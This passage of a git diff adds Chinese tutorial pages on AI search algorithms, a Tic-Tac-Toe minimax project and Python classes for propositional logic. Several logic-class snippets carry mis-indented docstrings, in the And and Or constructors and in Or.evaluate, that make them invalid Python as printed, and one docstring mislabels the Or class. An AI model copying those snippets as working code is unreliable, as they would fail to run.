diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.2项目：Tic-Tac-Toe井字棋.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.2项目：Tic-Tac-Toe井字棋.md
new file mode 100644
index 0000000..f7db567
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.2项目：Tic-Tac-Toe井字棋.md
@@ -0,0 +1,65 @@
+# 项目：Tic-Tac-Toe 井字棋
+
+::: warning 😋 我们为你提供了一个简单有趣的项目，帮助你进行知识巩固，请认真阅读文档内容。
+
+如果你卡住了，请记得回来阅读文档，或请求身边人的帮助。
+:::
+
+::: tip 📥
+本节附件下载 <Download url="https://cdn.xyxsw.site/code/1-Projects.zip"/>
+:::
+
+`pip3 install -r requirements.txt`
+
+## 理解
+
+这个项目有两个主要文件：`runner.py` 和 `tictactoe.py`。`tictactoe.py` 包含了玩游戏和做出最佳动作的所有逻辑。`runner.py` 已经为你实现，它包含了运行游戏图形界面的所有代码。一旦你完成了 `tictactoe.py` 中所有必需的功能，你就可以运行 `python runner.py` 来对抗你的人工智能了！
+
+让我们打开 `tictactoe.py` 来了解所提供的内容。首先，我们定义了三个变量：X、O 和 EMPTY，以表示游戏的可能移动。
+
+函数 `initial_state` 返回游戏的启动状态。对于这个问题，我们选择将游戏状态表示为三个列表的列表（表示棋盘的三行），其中每个内部列表包含三个值，即 X、O 或 EMPTY。以下是我们留给你实现的功能！
+
+## 说明
+
+实现 `player`, `actions`, `result`, `winner`, `terminal`, `utility`, 以及 `minimax`.
+
+- `player` 函数应该以棋盘状态作为输入，并返回轮到哪个玩家（X 或 O）。
+
+  - 在初始游戏状态下，X 获得第一步。随后，玩家交替进行每一个动作。
+  - 如果提供结束棋盘状态作为输入（即游戏已经结束），则任何返回值都是可接受的。
+- `actions` 函数应该返回一组在给定的棋盘状态上可以采取的所有可能的操作。
+
+  - 每个动作都应该表示为元组 `(i，j)`，其中 `i` 对应于移动的行（0、1 或 2），`j` 对应于行中的哪个单元格对应于移动（也是 0、1、或 2）。
+  - 可能的移动是棋盘上任何没有 X 或 O 的单元格。
+  - 如果提供结束棋盘状态作为输入，则任何返回值都是可接受的。
+- `result` 函数以一个棋盘状态和一个动作作为输入，并且应该返回一个新的棋盘状态，而不修改原始棋盘。
+
+  - 如果 `action` 函数接受了一个无效的动作，你的程序应该<u>raise an exception</u>.
+  - 返回的棋盘状态应该是从原始输入棋盘，并让轮到它的玩家在输入动作指示的单元格处移动所产生的棋盘。
+  - 重要的是，原始棋盘应该保持不变：因为 Minimax 最终需要在计算过程中考虑许多不同的棋盘状态。这意味着简单地更新棋盘上的单元格本身并不是 `result` 函数的正确实现。在做出任何更改之前，你可能需要先对棋盘状态进行<u>deep copy</u>。
+- `winner` 函数应该接受一个棋盘作为输入，如果游戏结束，则返回游戏的获胜者。
+
+  - 如果 X 玩家赢得了游戏，函数应该返回 X。如果 O 玩家赢得了比赛，函数应该返回 O。
+  - 一个人可以通过水平、垂直或对角连续三次移动赢得比赛。
+  - 你可以认为最多会有一个赢家（也就是说，没有一个棋盘会同时有两个玩家连着三个，因为这将是一个无效的棋盘状态）。
+  - 如果游戏没有赢家（要么是因为游戏正在进行，要么是因为比赛以平局结束），函数应该返回 `None`。
+- `terminal` 函数应该接受一个棋盘作为输入，并返回一个布尔值，指示游戏是否结束。
+
+  - 如果游戏结束，要么是因为有人赢得了游戏，要么是由于所有单元格都已填充而没有人获胜，则函数应返回 `True`。
+  - 否则，如果游戏仍在进行中，则函数应返回 `False`。
+- `utility` 函数应接受结束棋盘状态作为输入，并输出该棋盘的分数。
+
+  - 如果 X 赢得了比赛，则分数为 1。如果 O 赢得了比赛，则分数为 -1。如果比赛以平局结束，则分数为 0。
+  - 你可以假设只有当 `terminal(board)` 为 True 时，才会在棋盘上调用 `utility`。
+- `minimax` 函数应该以一个棋盘作为输入，并返回玩家在该棋盘上移动的最佳移动。
+
+  - 返回的移动应该是最佳动作 `(i，j)`，这是棋盘上允许的动作之一。如果多次移动都是同样最佳的，那么这些移动中的任何一次都是可以接受的。
+  - 如果该棋盘是结束棋盘状态，则 `minimax` 函数应返回 `None`。
+对于所有接受棋盘作为输入的函数，你可以假设它是一个有效的棋盘（即，它是包含三行的列表，每行都有三个值 X、O 或 EMPTY）。你不应该修改所提供的函数声明（每个函数的参数的顺序或数量）。、
+一旦所有功能都得到了正确的实现，你就应该能够运行 `python runner.py` 并与你的人工智能进行比赛。而且，由于井字棋是双方最佳比赛的平局，你永远不应该能够击败人工智能（尽管如果你打得不好，它可能会打败你！）
+
+## 提示
+
+- 如果你想在不同的 Python 文件中测试你的函数，你可以用类似于 `from tictactoe import initial_state` 的代码来导入它们。
+- 欢迎在 `tictactoe.py` 中添加其他辅助函数，前提是它们的名称不会与模块中已有的函数或变量名称冲突。
+- alpha-beta 剪枝是可选的，这可能会让你的人工智能运行更高效！
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.1搜索.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.1搜索.md
new file mode 100644
index 0000000..3a6e8f5
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.3.1搜索.md
@@ -0,0 +1,356 @@
+# 搜索
+
+::: warning 😅 在我们日常生活中，其实有非常多的地方使用了所谓的 AI 算法，只是我们通常没有察觉。
+
+比如美团的外卖程序里面，可以看到外卖员到达你所在的位置的路线，它是如何规划出相关路线的呢？
+
+在我们和电脑下围棋下五子棋的时候，他是如何“思考”的呢？希望你在阅读完本章内容之后，可以有一个最基本的理解。并且，我们还会给你留下一个井字棋的小任务，可以让你的电脑和你下井字棋，是不是很 cool
+
+让我们现在开始吧！
+:::
+
+## 基本定义
+
+::: warning 🤔 也许第一次看会觉得云里雾里，没有必要全部记住所有的概念。可以先大致浏览一遍之后，再后续的代码中与概念进行结合，相信你会有更深入的理解
+:::
+
+> 即检索存储在某个[数据结构](https://zh.wikipedia.org/wiki/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84)中的信息，或者在问题域的搜索空间中计算的信息。 --wiki
+
+从本质上来说，你将搜索问题理解为一个函数，那么它的输入将会是你用计算机的数据结构或计算机数据所构成的初始状态以及你期望他达成的目标状态，搜索问题将尝试从中得到解决方案。
+
+导航是使用搜索算法的一个典型的搜索，它接收您的当前位置和目的地作为输入，并根据搜索算法返回建议的路径。
+
+![](https://cdn.xyxsw.site/Hesobke0ZocH48xGFyocf9Cxntd.png)
+
+在计算机科学中，还有许多其他形式的搜索问题，比如谜题或迷宫。
+
+<table>
+    <tr>
+        <td><img src=https://cdn.xyxsw.site/SYw4bOzqAo65PQxZQLucbZAxnHd.png width=520></td>
+        <td><img src=https://cdn.xyxsw.site/LPgEbVQg2oZBSexmGWwcwfbdnVd.png width=520></td>
+    </tr>
+</table>
+
+## 举个例子
+
+要找到一个数字华容道谜题的解决方案，需要使用搜索算法。
+
+- 智能主体 (Agent)
+
+  感知其环境并对该环境采取行动的实体。
+
+  例如，在导航应用程序中，智能主体将是一辆汽车的代表，它需要决定采取哪些行动才能到达目的地。
+
+- 状态 (State)
+
+  智能主体在其环境中的配置。
+
+  例如，在一个数字华容道谜题中，一个状态是所有数字排列在棋盘上的任何一种方式。
+
+  - 初始状态（Initial State）
+
+    搜索算法开始的状态。在导航应用程序中，这将是当前位置。
+
+![](https://cdn.xyxsw.site/HCxXbwKFyof6DFx6FZ8c5EHknBh.png)
+
+- 动作 (Action)
+
+  一个状态可以做出的选择。更确切地说，动作可以定义为一个函数。当接收到状态$s$作为输入时，$Actions(s)$将返回可在状态$s$ 中执行的一组操作作为输出。
+
+  例如，在一个数字华容道中，给定状态的操作是您可以在当前配置中滑动方块的方式。
+
+![](https://cdn.xyxsw.site/MpgrbCjtDo1NlLxVyL1cMH6FnAg.png)
+
+- 过渡模型 (Transition Model)
+
+  对在任何状态下执行任何适用操作所产生的状态的描述。
+
+  更确切地说，过渡模型可以定义为一个函数。
+
+  在接收到状态$s$和动作$a$作为输入时，$Results(s，a)$返回在状态$s$中执行动作$a$ 所产生的状态。
+
+  例如，给定数字华容道的特定配置（状态$s$），在任何方向上移动正方形（动作$a$）将导致谜题的新配置（新状态）。
+
+![](https://cdn.xyxsw.site/RKV2buJoroCV6SxiMUuct3dbnPU.png)
+
+- 状态空间 (State Space)
+
+  通过一系列的操作目标从初始状态可达到的所有状态的集合。
+
+  例如，在一个数字华容道谜题中，状态空间由所有$\frac{16!}{2}$种配置，可以从任何初始状态达到。状态空间可以可视化为有向图，其中状态表示为节点，动作表示为节点之间的箭头。
+
+![](https://cdn.xyxsw.site/JdCqb2UI9ooWmdxk258cTIIznab.png)
+
+- 目标测试 (Goal Test)
+
+  确定给定状态是否为目标状态的条件。例如，在导航应用程序中，目标测试将是智能主体的当前位置是否在目的地。如果是，问题解决了。如果不是，我们将继续搜索。
+
+- 路径成本 (Path Cost)
+
+  完成给定路径相关的代价。例如，导航应用程序并不是简单地让你达到目标；它这样做的同时最大限度地减少了路径成本，为您找到了达到目标状态的最快方法。
+
+## 解决搜索问题
+
+### 解 (solution)
+
+从初始状态到目标状态的一系列动作。
+
+### 最优解 (Optimal Solution)
+
+    - 在所有解决方案中路径成本最低的解决方案。
+
+- 在搜索过程中，数据通常存储在**节点 (Node)** 中，节点是一种包含以下数据的数据结构：
+
+- 状态——state
+- 其父节点，通过该父节点生成当前节点——parent node
+- 应用于父级状态以获取当前节点的操作——action
+- 从初始状态到该节点的路径成本——path cost
+- 节点包含的信息使它们对于搜索算法非常有用。
+
+它们包含一个状态，可以使用目标测试来检查该状态是否为最终状态。
+
+如果是，则可以将节点的路径成本与其他节点的路径代价进行比较，从而可以选择最佳解决方案。
+
+一旦选择了节点，通过存储父节点和从父节点到当前节点的动作，就可以追溯从初始状态到该节点的每一步，而这一系列动作就是解决方案。
+
+然而，节点只是一个数据结构——它们不搜索，而是保存信息。为了实际搜索，我们使用了边域 (frontier)，即“管理”节点的机制。边域首先包含一个初始状态和一组空的已探索项目（探索集），然后重复以下操作，直到找到解决方案：
+
+重复：
+
+1. 如果边域为空
+   - 停止，搜索问题无解
+2. 从边域中删除一个节点。这是将要考虑的节点。
+3. 如果节点包含目标状态。
+   - 返回解决方案，停止
+  否则:
+   - 展开节点（找到可以从该节点到达的所有新节点），并将生成的节点添加到边域。
+   - 将当前节点添加到探索集。
+
+<table>
+    <tr>
+        <td><img src=https://cdn.xyxsw.site/K53FbGmswoM7JAxqJZxcQEjdnES.png width=520></td>
+        <td><img src=https://cdn.xyxsw.site/THhpbemEHoxl80xHeTjc9d35nVh.png width=520></td>
+    </tr>
+</table>
+
+边域从节点 A 初始化开始
+
+1. 取出边域中的节点 A，展开节点 A，将节点 B 添加到边域。
+2. 取出节点 B，展开，添加......
+3. 到达目标节点，停止，返回解决方案
+
+<table>
+    <tr>
+        <td><img src=https://cdn.xyxsw.site/XmnObIGaUoF4ssxkgzUc4vTUnmf.png width=520></td>
+        <td><img src=https://cdn.xyxsw.site/Wsntb9rLwogdAKxpJgLchrI8nae.png width=520></td>
+    </tr>
+</table>
+
+会出现什么问题？节点 A-> 节点 B-> 节点 A->......-> 节点 A。我们需要一个探索集，记录已搜索的节点！
+
+### 不知情搜索 (Uninformed Search)
+
+在之前对边域的描述中，有一件事没有被提及。在上面伪代码的第 1 阶段，应该删除哪个节点？这种选择对解决方案的质量和实现速度有影响。关于应该首先考虑哪些节点的问题，有多种方法，其中两种可以用堆栈（深度优先搜索）和队列（广度优先搜索）的数据结构来表示。
+
+#### 深度优先搜索 (Depth-First Search)
+
+深度优先搜索算法在尝试另一个方向之前耗尽每个方向。在这些情况下，边域作为堆栈数据结构进行管理。这里需要记住的流行语是“后进先出”。在将节点添加到边域后，第一个要删除和考虑的节点是最后一个要添加的节点。这导致了一种搜索算法，该算法在第一个方向上尽可能深入，直到尽头，同时将所有其他方向留到后面。“不撞南墙不回头”
+
+（一个例子：以你正在寻找钥匙的情况为例。在深度优先搜索方法中，如果你选择从裤子里搜索开始，你会先仔细检查每一个口袋，清空每个口袋，仔细检查里面的东西。只有当你完全筋疲力尽时，你才会停止在裤子里搜索，开始在其他地方搜索。）
+
+- 优点
+  - 在最好的情况下，这个算法是最快的。如果它“运气好”，并且总是（偶然）选择正确的解决方案路径，那么深度优先搜索需要尽可能少的时间来找到解决方案。
+- 缺点
+  - 所找到的解决方案可能不是最优的。
+  - 在最坏的情况下，该算法将在找到解决方案之前探索每一条可能的路径，从而在到达解决方案之前花费尽可能长的时间。
+
+<table>
+    <tr>
+        <td><img src=https://cdn.xyxsw.site/SGVWbCcTlobQwJxSjKvcNyJAnEG.png width=520></td>
+        <td><img src=https://cdn.xyxsw.site/Vv9Sb26QfoMrkqx5apycIYPJnlf.png width=520></td>
+    </tr>
+</table>
+
+<table>
+    <tr>
+        <td><img src=https://cdn.xyxsw.site/Gjd5bpdpcoIxGtxcUJ0c2OVfnOf.png width=520></td>
+        <td><img src=https://cdn.xyxsw.site/M2vZbA5hpoT9RExuAGwcBHF1nmh.png width=520></td>
+    </tr>
+</table>
+
+- 代码实现
+
+```python
+def remove(self):
+    if self.empty():
+        raise Exception("empty frontier")
+    else:
+        node = self.frontier[-1]
+        self.frontier = self.frontier[:-1]
+        return node
+```
+
+#### 广度优先搜索 (Breadth-First Search)
+
+广度优先搜索算法将同时遵循多个方向，在每个可能的方向上迈出一步，然后在每个方向上迈出第二步。在这种情况下，边域作为队列数据结构进行管理。这里需要记住的流行语是“先进先出”。在这种情况下，所有新节点都会排成一行，并根据先添加的节点来考虑节点（先到先得！）。这导致搜索算法在任何一个方向上迈出第二步之前，在每个可能的方向上迈出一步。
+
+（一个例子：假设你正在寻找钥匙。在这种情况下，如果你从裤子开始，你会看你的右口袋。之后，你会在一个抽屉里看一眼，而不是看你的左口袋。然后在桌子上。以此类推，在你能想到的每个地方。只有在你用完所有位置后，你才会回到你的裤子上，在下一个口袋里找。）
+
+- 优点
+  - 该算法可以保证找到最优解。
+- 缺点
+  - 几乎可以保证该算法的运行时间会比最短时间更长。
+  - 在最坏的情况下，这种算法需要尽可能长的时间才能运行。
+
+<table>
+    <tr>
+        <td><img src=https://cdn.xyxsw.site/S6SRbMUrcoYQCYxZGgJczkdcnBP.png width=520></td>
+        <td><img src=https://cdn.xyxsw.site/Xg7Qbv59IoQB3bxPFO1ceXgRnkf.png width=520></td>
+    </tr>
+</table>
+
+<table>
+    <tr>
+        <td><img src=https://cdn.xyxsw.site/X34Rb5R7AonUg3xYs7DcQzSfndg.png width=520></td>
+        <td><img src=https://cdn.xyxsw.site/PQeZbJv3Bom6NYxa6lccT084nFn.png width=520></td>
+    </tr>
+</table>
+
+代码实现
+
+```python
+def remove(self):
+    if self.empty():
+        raise Exception("empty frontier")
+    else:
+        node = self.frontier[0]
+        self.frontier = self.frontier[1:]
+        return node
+```
+
+## 知情搜索 (Informed Search)
+
+广度优先和深度优先都是不知情的搜索算法。也就是说，这些算法没有利用他们没有通过自己的探索获得的关于问题的任何知识。然而，大多数情况下，关于这个问题的一些知识实际上是可用的。例如，当人类进入一个路口时，人类可以看到哪条路沿着解决方案的大致方向前进，哪条路没有。人工智能也可以这样做。一种考虑额外知识以试图提高性能的算法被称为知情搜索算法。
+
+### 贪婪最佳优先搜索 (Greedy Best-First Search)
+
+贪婪最佳优先搜索扩展最接近目标的节点，如启发式函数$h(n)$所确定的。顾名思义，该函数估计下一个节点离目标有多近，但可能会出错。贪婪最佳优先算法的效率取决于启发式函数的好坏。例如，在迷宫中，算法可以使用启发式函数，该函数依赖于可能节点和迷宫末端之间的曼哈顿距离。曼哈顿距离忽略了墙壁，并计算了从一个位置到目标位置需要向上、向下或向两侧走多少步。这是一个简单的估计，可以基于当前位置和目标位置的$(x，y)$坐标导出。
+
+![](https://cdn.xyxsw.site/Pe3WbBuTjomWjfxd5Ryc3OPPnSd.png)
+
+然而，重要的是要强调，与任何启发式算法一样，它可能会出错，并导致算法走上比其他情况下更慢的道路。不知情的搜索算法有可能更快地提供一个更好的解决方案，但它比知情算法更不可能这样。
+
+<table>
+    <tr>
+        <td><img src=https://cdn.xyxsw.site/SU2DbQeN2oxs5ex3K3NcMaJfnch.png width=520></td>
+        <td><img src=https://cdn.xyxsw.site/HkvdbcEdmo6RtjxOqqic31XFnSh.png width=520></td>
+    </tr>
+</table>
+
+### $A^*$搜索
+
+作为贪婪最佳优先算法的一种发展，$A^{*}$ 搜索不仅考虑了从当前位置到目标的估计成本 $h(n)$ ，还考虑了直到当前位置为止累积的成本 $g(n)$ 。通过组合这两个值，该算法可以更准确地确定解决方案的成本并在旅途中优化其选择。该算法跟踪（到目前为止的路径成本 + 到目标的估计成本， $g(n)+h(n)$ ），一旦它超过了之前某个选项的估计成本，该算法将放弃当前路径并返回到之前的选项，从而防止自己沿着 $h(n)$ 错误地标记为最佳的却长而低效的路径前进。
+
+然而，由于这种算法也依赖于启发式，所以它依赖它所使用的启发式。在某些情况下，它可能比贪婪的最佳第一搜索甚至不知情的算法效率更低。对于最佳的$A^*$搜索，启发式函数$h(n)$应该：
+
+- 可接受，从未高估真实成本。
+- 一致性，这意味着从新节点到目标的估计路径成本加上从先前节点转换到该新节点的成本应该大于或等于先前节点到目标的估计路径成本。用方程的形式表示，$h(n)$是一致的，如果对于每个节点 n$和后续节点 n'$,从 n$到$n'$的步长为 c$,满足$h(n) ≤ h(n') + c$.
+
+<table>
+    <tr>
+        <td><img src=https://cdn.xyxsw.site/BbIiba1pwo3uI7x4k7QcwicznGc.png width=520></td>
+        <td><img src=https://cdn.xyxsw.site/HhG9bcJP2okKMMxY0FGclP0AnXY.png width=520></td>
+    </tr>
+</table>
+
+## 对抗性搜索
+
+尽管之前我们讨论过需要找到问题答案的算法，但在对抗性搜索中，算法面对的是试图实现相反目标的对手。通常，在游戏中会遇到使用对抗性搜索的人工智能，比如井字游戏。
+
+### 极大极小算法 (Minimax)
+
+- 作为对抗性搜索中的一种算法，Minimax 将获胜条件表示为$(-1)$表示为一方，$(+1)$表示为另一方。进一步的行动将受到这些条件的驱动，最小化的一方试图获得最低分数，而最大化的一方则试图获得最高分数。
+
+  ![](https://cdn.xyxsw.site/FYu3bQwCZofBgsxKDJiciTR7nzc.png)
+
+#### 井字棋 AI 为例
+
+- $s_0$: 初始状态（在我们的情况下，是一个空的 3X3 棋盘）
+
+    ![](https://cdn.xyxsw.site/WstnbmHwYoQauRxUQOCclz8Jngb.png)
+
+- $Players(s)$: 一个函数，在给定状态$s$的情况下，返回轮到哪个玩家（X 或 O）。
+
+  ![](https://cdn.xyxsw.site/DKzTbJSZMoc1UkxT9KOcIHqvnob.png)
+
+- $Actions(s)$: 一个函数，在给定状态$s$的情况下，返回该状态下的所有合法动作（棋盘上哪些位置是空的）。
+
+  ![](https://cdn.xyxsw.site/LuEzbLOaqox7yox5lXzcouWYnKc.png)
+
+- $Result(s, a)$: 一个函数，在给定状态$s$和操作$a$的情况下，返回一个新状态。这是在状态$s$上执行动作$a$（在游戏中移动）所产生的棋盘。
+
+  ![](https://cdn.xyxsw.site/AdOVbwCGhoVcWVx21TMcdhbDnIg.png)
+
+- $Terminal(s)$: 一个函数，在给定状态$s$的情况下，检查这是否是游戏的最后一步，即是否有人赢了或打成平手。如果游戏已结束，则返回 True，否则返回 False。
+
+  ![](https://cdn.xyxsw.site/EOfJbvoUMogVT8xsrTxcl5ugnrk.png)
+
+- $Utility(s)$: 一个函数，在给定终端状态 s 的情况下，返回状态的效用值：$-1、0 或 1$。
+
+![](https://cdn.xyxsw.site/UcpAbpWtJoHb5Wx6ycrcG2ZZnIe.png)
+
+算法的工作原理：
+
+- 该算法递归地模拟从当前状态开始直到达到终端状态为止可能发生的所有游戏状态。每个终端状态的值为$(-1)$、$0$或$(+1)$。
+  ![](https://cdn.xyxsw.site/DN3mb0lbno2AHvx2M0JcrTvtnYf.png)
+
+- 根据轮到谁的状态，算法可以知道当前玩家在最佳游戏时是否会选择导致状态值更低或更高的动作。
+
+通过这种方式，在最小化和最大化之间交替，算法为每个可能的动作产生的状态创建值。举一个更具体的例子，我们可以想象，最大化的玩家在每一个回合都会问：“如果我采取这个行动，就会产生一个新的状态。如果最小化的玩家发挥得最好，那么该玩家可以采取什么行动来达到最低值？”
+
+然而，为了回答这个问题，最大化玩家必须问：“要想知道最小化玩家会做什么，我需要在最小化者的脑海中模拟同样的过程：最小化玩家会试图问：‘如果我采取这个动作，最大化玩家可以采取什么动作来达到最高值？’”
+
+这是一个递归过程，你可能很难理解它；看看下面的伪代码会有所帮助。最终，通过这个递归推理过程，最大化玩家为每个状态生成值，这些值可能是当前状态下所有可能的操作所产生的。
+
+在得到这些值之后，最大化的玩家会选择最高的一个。
+
+![](https://cdn.xyxsw.site/EjB9bzgZNohQtkxXwXgcVrKwnth.png)
+
+具体算法：
+
+- 给定状态 $s$
+  - 最大化玩家在$Actions(s)$中选择动作$a$，该动作产生$Min-value(Result(s,a))$ 的最高值。
+  - 最小化玩家在$Actions(s)$中选择动作$a$，该动作产生$Max-value(Result(s,a))$ 的最小值。
+
+```txt
+Function Max-Value(state):
+  v=-∞
+  if Terminal(state):
+    return Utility(state)
+  for action in Actions(state):
+    v = Max(v, Min-Value(Result(state, action)))
+  return v
+Function Min-Value(state):
+  v=+∞
+  if Terminal(state):
+    return Utility(state)
+  for action in Actions(state):
+    v = Min(v, Max-Value(Result(state, action)))
+  return v
+```
+
+不会理解递归？也许你需要看看这个：[阶段二：递归操作](../3.%E7%BC%96%E7%A8%8B%E6%80%9D%E7%BB%B4%E4%BD%93%E7%B3%BB%E6%9E%84%E5%BB%BA/3.6.4.2%E9%98%B6%E6%AE%B5%E4%BA%8C%EF%BC%9A%E9%80%92%E5%BD%92%E6%93%8D%E4%BD%9C.md)
+
+### $\alpha$-$\beta$剪枝 (Alpha-Beta Pruning)
+
+作为一种优化 Minimax 的方法，Alpha-Beta 剪枝跳过了一些明显不利的递归计算。在确定了一个动作的价值后，如果有初步证据表明接下来的动作可以让对手获得比已经确定的动作更好的分数，那么就没有必要进一步调查这个动作，因为它肯定比之前确定的动作不利。
+
+这一点最容易用一个例子来说明：最大化的玩家知道，在下一步，最小化的玩家将试图获得最低分数。假设最大化玩家有三个可能的动作，第一个动作的值为 4。然后玩家开始为下一个动作生成值。要做到这一点，如果当前玩家做出这个动作，玩家会生成最小化者动作的值，并且知道最小化者会选择最低的一个。然而，在完成最小化器所有可能动作的计算之前，玩家会看到其中一个选项的值为 3。这意味着没有理由继续探索最小化玩家的其他可能行动。尚未赋值的动作的值无关紧要，无论是 10 还是（-10）。如果该值为 10，则最小化器将选择最低选项 3，该选项已经比预先设定的 4 差。如果尚未估价的行动结果是（-10），那么最小化者将选择（-10）这一选项，这对最大化者来说更加不利。因此，在这一点上为最小化者计算额外的可能动作与最大化者无关，因为最大化玩家已经有了一个明确的更好的选择，其值为 4。
+
+![](https://cdn.xyxsw.site/LDZab4TeMoByvDxF1Onc8WQenpb.png)
+
+### 深度限制的极大极小算法 (Depth-Limited Minimax)
+
+- 总共有$255168$个可能的井字棋游戏，以及有$10^{29000}$个可能的国际象棋中游戏。到目前为止，最小最大算法需要生成从某个点到**终端条件**的所有假设游戏状态。虽然计算所有的井字棋游戏状态对现代计算机来说并不是一个挑战，但目前用来计算国际象棋是不可能的。
+
+深度限制的 Minimax 算法在停止之前只考虑预先定义的移动次数，而从未达到终端状态。然而，这不允许获得每个动作的精确值，因为假设的游戏还没有结束。为了解决这个问题，深度限制 Minimax 依赖于一个评估函数，该函数从给定状态估计游戏的预期效用，或者换句话说，为状态赋值。例如，在国际象棋游戏中，效用函数会将棋盘的当前配置作为输入，尝试评估其预期效用（基于每个玩家拥有的棋子及其在棋盘上的位置），然后返回一个正值或负值，表示棋盘对一个玩家对另一个玩家的有利程度。这些值可以用来决定正确的操作，并且评估函数越好，依赖它的 Minimax 算法就越好。
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md b/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md
new file mode 100644
index 0000000..da94041
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测.md
@@ -0,0 +1,417 @@
+# 程序示例——命题逻辑与模型检测
+
+::: warning 😋
+阅读程序中涉及命题逻辑的部分，然后“玩一玩”程序！
+
+完成习题
+:::
+
+::: tip 📥
+本节附件下载 <Download url="https://cdn.xyxsw.site/code/2-Lecture.zip"/>
+:::
+
+## Sentence——父类
+
+```python
+class Sentence(): # 父类
+    def evaluate(self, model):
+        """计算逻辑表达式的值"""
+        raise Exception("nothing to evaluate")
+    def formula(self):
+        """返回表示逻辑表达式的字符串形式。"""
+        return ""
+    def symbols(self):
+        """返回逻辑表达式中所有命题符号的集合。"""
+        return set()
+    @classmethod # @classmethod 装饰器 使得类方法可以在类上被调用 Sentence.validate(...)
+    def validate(cls, sentence):
+        """验证操作数是否是 Sentence 或其子类"""
+        if not isinstance(sentence, Sentence):
+            raise TypeError("must be a logical sentence")
+    @classmethod # @classmethod 装饰器 使得类方法可以在类上被调用 Sentence.parenthesize(...)
+    def parenthesize(cls, s):
+        """如果表达式尚未加圆括号，则加圆括号。"""
+        def balanced(s):
+            """检查字符串是否有配对的括号。"""
+            count = 0
+            for c in s:
+                if c == "(":
+                    count += 1
+                elif c == ")":
+                    if count <= 0:
+                        return False
+                    count -= 1
+            return count == 0
+        if not len(s) or s.isalpha() or (s[0] == "(" and s[-1] == ")" and balanced(s[1:-1])):
+            return s
+        else:
+            return f"({s})"
+```
+
+## Symbol——命题符号类
+
+```python
+class Symbol(Sentence):
+    def __init__(self, name):
+        """初始化命题符号"""
+        self.name = name
+    def __eq__(self, other):
+        """定义命题符号的相等"""    
+        return isinstance(other, Symbol) and self.name == other.name
+    ...
+    def evaluate(self, model):
+        """命题符号在模型中赋值"""
+        try:
+            return bool(model[self.name])
+        except KeyError:
+            raise EvaluationException(f"variable {self.name} not in model")
+    def formula(self):
+        """返回表示命题符号的字符串形式。"""
+        return self.name
+    def symbols(self):
+        """返回命题符号的集合。"""
+        return {self.name}
+```
+
+## Not——逻辑非类
+
+```python
+class Not(Sentence):
+    def __init__(self, operand):
+        """验证操作数是否是 Sentence 或其子类"""
+        Sentence.validate(operand)
+        self.operand = operand
+    def __eq__(self, other):
+        """定义相等"""
+        return isinstance(other, Not) and self.operand == other.operand
+    ...
+    def evaluate(self, model):
+        """逻辑非在模型中的赋值"""
+        return not self.operand.evaluate(model)
+    def formula(self):
+        """返回表示逻辑非的字符串形式"""
+        return "¬" + Sentence.parenthesize(self.operand.formula())
+    def symbols(self):
+        """返回逻辑非中的命题符号的集合"""
+        return self.operand.symbols()
+```
+
+## And——逻辑乘类
+
+```python
+class And(Sentence):
+    def __init__(self, *conjuncts):
+        for conjunct in conjuncts:
+        """验证操作数是否是 Sentence 或其子类"""
+            Sentence.validate(conjunct)
+        self.conjuncts = list(conjuncts)
+    def __eq__(self, other):
+        """定义相等"""    
+        return isinstance(other, And) and self.conjuncts == other.conjuncts
+    def add(self, conjunct):
+        """添加命题"""
+        Sentence.validate(conjunct)
+        self.conjuncts.append(conjunct)
+    def evaluate(self, model):
+        """逻辑乘在模型中的赋值"""
+        return all(conjunct.evaluate(model) for conjunct in self.conjuncts)
+    def formula(self):
+        """返回表示逻辑乘的字符串形式"""
+        if len(self.conjuncts) == 1:
+            return self.conjuncts[0].formula()
+        return " ∧ ".join([Sentence.parenthesize(conjunct.formula())
+                           for conjunct in self.conjuncts])
+    def symbols(self):
+        """"返回逻辑乘中的所有命题符号的集合"""
+        return set.union(*[conjunct.symbols() for conjunct in self.conjuncts])
+```
+
+## Or——逻辑和类
+
+```python
+class Or(Sentence):
+    def __init__(self, *disjuncts):
+        for disjunct in disjuncts:
+        """验证操作数是否是 Sentence 或其子类"""
+            Sentence.validate(disjunct)
+        self.disjuncts = list(disjuncts)
+    def __eq__(self, other):
+        """定义相等"""    
+        return isinstance(other, Or) and self.disjuncts == other.disjuncts
+    ...
+    def evaluate(self, model):
+         """逻辑和在模型中的赋值"""
+        return any(disjunct.evaluate(model) for disjunct in self.disjuncts)
+    def formula(self):
+        """返回表示逻辑和的字符串形式"""
+        if len(self.disjuncts) == 1:
+            return self.disjuncts[0].formula()
+        return " ∨  ".join([Sentence.parenthesize(disjunct.formula())
+                            for disjunct in self.disjuncts])
+    def symbols(self):
+        """"返回逻辑乘中的所有命题符号的集合"""
+        return set.union(*[disjunct.symbols() for disjunct in self.disjuncts])
+```
+
+## Implication——逻辑蕴含类
+
+```python
+class Implication(Sentence):
+    def __init__(self, antecedent, consequent):
+        """验证操作数是否是 Sentence 或其子类"""
+        Sentence.validate(antecedent)
+        Sentence.validate(consequent)
+        """前件"""
+        self.antecedent = antecedent
+        """后件"""
+        self.consequent = consequent
+    def __eq__(self, other):
+        """定义相等"""
+        return (isinstance(other, Implication)
+                and self.antecedent == other.antecedent
+                and self.consequent == other.consequent)
+    ...
+    def evaluate(self, model):
+        """逻辑蕴含在模型中的赋值"""
+        return ((not self.antecedent.evaluate(model))
+                or self.consequent.evaluate(model))
+    def formula(self):
+        """返回表示逻辑蕴含的字符串形式"""
+        antecedent = Sentence.parenthesize(self.antecedent.formula())
+        consequent = Sentence.parenthesize(self.consequent.formula())
+        return f"{antecedent} => {consequent}"
+    def symbols(self):
+        """"返回逻辑蕴含中的所有命题符号的集合"""
+        return set.union(self.antecedent.symbols(), self.consequent.symbols())
+```
+
+## Biconditional——逻辑等值类
+
+```python
+class Biconditional(Sentence):
+    def __init__(self, left, right):
+        """验证操作数是否是 Sentence 或其子类"""
